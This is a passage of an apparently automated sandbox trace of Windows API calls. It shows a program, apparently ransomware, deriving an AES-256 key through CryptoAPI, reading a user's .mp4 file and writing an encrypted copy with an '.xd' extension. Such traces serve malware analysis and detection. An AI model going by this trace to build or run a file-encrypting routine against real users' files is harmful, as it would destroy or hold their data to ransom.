lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0066.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217b0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0066.427] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0066.427] CryptDeriveKey (in: hProv=0x17aa670, Algid=0x6610, hBaseData=0x164c370, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c830) returned 1 [0066.427] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.428] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.428] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0066.428] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0066.429] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0066.429] CryptDestroyHash (hHash=0x164c370) returned 1 [0066.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.429] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.429] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.429] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.429] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.429] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\jswlrbzahj8agfjzd-.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0066.432] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.432] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0066.433] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.434] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.434] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.435] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb")) returned 0x10 [0066.449] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\jswlrbzahj8agfjzd-.mp4.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0066.450] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.451] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.451] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.451] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.455] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0066.457] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0066.460] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x6ece, lpOverlapped=0x0) returned 1 [0066.461] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0066.478] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.478] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.478] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.478] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0066.482] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.483] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.483] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0066.483] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.483] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0066.483] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.483] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.483] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.483] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0066.483] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0066.484] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0066.484] CryptGetKeyParam (in: hKey=0x164c830, dwParam=0x7, pbData=0x1629640, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629640*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0066.484] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.484] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.484] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.484] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.484] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.484] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.484] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.485] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.485] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.485] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.485] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.485] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.485] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.485] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.485] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.485] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.485] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.485] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.485] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.488] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621738, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.488] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.489] CryptEncrypt (in: hKey=0x164c830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x16ece, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x16ed0) returned 1 [0066.489] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.489] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.489] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.489] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.489] CharLowerBuffW (in: lpsz="byte[93905]", cchLength=0xb | out: lpsz="byte[93905]") returned 0xb [0066.489] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.497] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.497] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.498] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.499] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.500] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.500] CryptEncrypt (in: hKey=0x164c830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e79f0*, pdwDataLen=0x130e618*=0x16ece, dwBufLen=0x16ed0 | out: pbData=0x17e79f0*, pdwDataLen=0x130e618*=0x16ed0) returned 1 [0066.500] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.500] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.500] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.501] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.501] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.501] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.501] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.501] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.501] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.501] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.502] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.502] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.502] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.502] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.503] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.503] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.504] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.511] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.511] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.511] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.513] WriteFile (in: hFile=0x3bc, lpBuffer=0x1893ee8*, nNumberOfBytesToWrite=0x16ed0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1893ee8*, lpNumberOfBytesWritten=0x130f01c*=0x16ed0, lpOverlapped=0x0) returned 1 [0066.521] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.521] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.521] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0066.521] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.521] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.522] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0066.522] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621468, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0066.523] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0066.523] CryptDestroyKey (hKey=0x164c830) returned 1 [0066.523] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.523] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.523] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.523] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.524] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.524] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.524] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.524] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.524] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.524] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0066.524] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.524] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.524] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.524] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.524] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.525] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.525] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.525] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.525] PeekMessageW (in: lpMsg=0x130ecb4, 